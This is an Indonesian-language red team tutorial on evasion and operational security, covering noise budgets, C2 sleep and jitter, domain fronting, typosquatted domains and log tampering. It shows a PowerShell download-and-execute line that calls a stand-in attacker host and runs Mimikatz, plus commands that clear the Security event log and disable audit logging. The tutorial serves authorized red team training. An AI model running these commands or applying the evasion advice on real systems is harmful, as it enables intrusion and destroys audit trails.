Belajar Red Team Operator - Evasion & OPSEC

#Pendahuluan

Setelah di episode 9 kita mempelajari persistence & privilege — golden tickets, persistence mechanisms — pada episode ini kita masuk ke aspek paling kritis dalam red team operations: evasion & OPSEC. Red team yang baik bukan yang paling cepat mencapai objective — tetapi yang paling lama bisa bertahan tanpa terdeteksi.

OPSEC (Operational Security) dalam red team berarti: setiap action harus dipertimbangkan dampaknya terhadap detection. Kalian harus berpikir seperti blue team untuk menghindari blue team.

#OPSEC Principles

#Noise Budget

text

Noise Budget Concept
======================
Setiap action menghasilkan "noise" (jejak di logs/detection).
Red team punya "noise budget" — total noise yang bisa dihasilkan
sebelum terdeteksi.
 
Jika noise budget = 100:
- Scanning (10 noise)
- Lateral movement (20 noise)
- Credential access (30 noise)
- Data exfil (40 noise)
Total = 100 → detected
 
Goal: distribute noise agar tidak melebihi budget per periode.

#Detection Sources

Source	What it detects	Noise level
EDR	Process injection, fileless attacks	High
SIEM	Event log anomalies	Medium
Network IDS	C2 traffic, scanning	Medium
User reports	Phishing, suspicious activity	Low-Medium
Honeypots	Any interaction	Very High

#Noise Reduction

#Timing

text

Operational Timing
====================
- Working hours (09:00-17:00): activity terlihat normal
- After hours: more suspicious
- Weekend: reduced monitoring, tetapi guard shifts
- Maintenance windows: avoid (system changes logged)
 
Best practice: spread activity throughout the day

#Command Execution

bash

# ❌ Noisy: spawn many processes
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
powershell -c "Get-WmiObject Win32_Process"
powershell -c "Invoke-Mimikatz"
 
# ✅ Better: fewer processes, legitimate-looking
# Use existing processes (injection) rather than spawning new

#Infrastructure OPSEC

text

Infrastructure OPSEC
======================
- Separate attacker infra from engagement infra
- Use different IP ranges
- Don't reuse infrastructure between engagements
- Domain names: look legitimate (typoquatting)
- SSL certs: Let's Encrypt (looks normal)
- Hosting: different provider from target

#C2 OPSEC

#Sleep & Jitter

python

# Concept: randomize sleep intervals
import random
import time
 
base_sleep = 300  # 5 minutes
jitter = 0.25     # ±25%
 
while True:
    sleep_time = base_sleep + random.randint(
        -int(base_sleep * jitter),
        int(base_sleep * jitter)
    )
    time.sleep(sleep_time)
    
    # Check-in with C2
    checkin()

#Traffic Profile

text

C2 Traffic OPSEC
=================
1. Mimic legitimate traffic patterns
   - HTTPS to common CDN (Cloudflare, AWS)
   - Same TLS fingerprint as Chrome/Firefox
 
2. Domain fronting
   - Traffic ke legitimate domain → forwarded ke C2
 
3. Jitter
   - Don't check-in at exact intervals
 
4. Data segmentation
   - Large data exfil: chunk over time
   - Small commands: frequent, small packets

#Encrypted Channels

bash

# mTLS (Sliver default)
# TLS 1.3 with certificate pinning
 
# DNS tunneling (for restricted networks)
# Sliver/Havoc support DNS C2
 
# HTTPS with domain fronting
# Cloudflare/AWS CloudFront → C2 backend

#Log Management

#Windows Event Logs

powershell

# Clear specific logs (noisy!)
wevtutil cl Security
 
# Better: selective log manipulation
# Remove specific events instead of clearing all
 
# Or: disable logging (before action)
auditpol /set /subcategory:"Process Creation" /success:disable /failure:disable

#Linux Log Management

bash

# Check what's logged
cat /var/log/auth.log
journalctl -u sshd
 
# Clear specific entries (timestamp-based)
# Don't clear entire log — too obvious

Warning

Clearing logs is usually MORE suspicious than leaving them. Instead: reduce noise in the first place, or selectively remove specific events. Complete log clearing triggers alerts in most SIEM configurations.

#OPSEC Checklist

text

Red Team OPSEC Checklist
==========================
Pre-engagement:
[ ] Infrastructure terpisah & fresh
[ ] No reuse dari engagement sebelumnya
[ ] Communication channels terenkripsi
[ ] Backup plan jika detected
 
During engagement:
[ ] Timing considerations (jam kerja)
[ ] Minimal process spawning
[ ] Credential rotation
[ ] Detection monitoring (apakah ada alert?)
[ ] Noise budget tracking
 
Post-engagement:
[ ] Cleanup semua persistence
[ ] Remove all implants
[ ] Credential rotation untuk compromised accounts
[ ] Document detection gaps untuk blue team

#Praktik: OPSEC Lab

bash

# 1. Jalankan engagement di lab
# 2. Monitor SIEM: berapa lama terdeteksi?
# 3. Redesign: kurangi noise
# 4. Re-run: bandingkan detection time

#Penutup

Inti yang harus dibawa pulang:

Noise budget: setiap action punya cost — distribute wisely.
Timing: work hours lebih aman, reduce footprint.
C2 OPSEC: sleep/jitter, traffic mimicry, domain fronting.
Log management: selective manipulation, bukan clear all.
OPSEC checklist: pre/during/post engagement considerations.

Di episode 11 selanjutnya, kita akan mempelajari detection & blue team understanding — memahami EDR, SIEM, dan telemetry agar bisa beroperasi lebih efektif.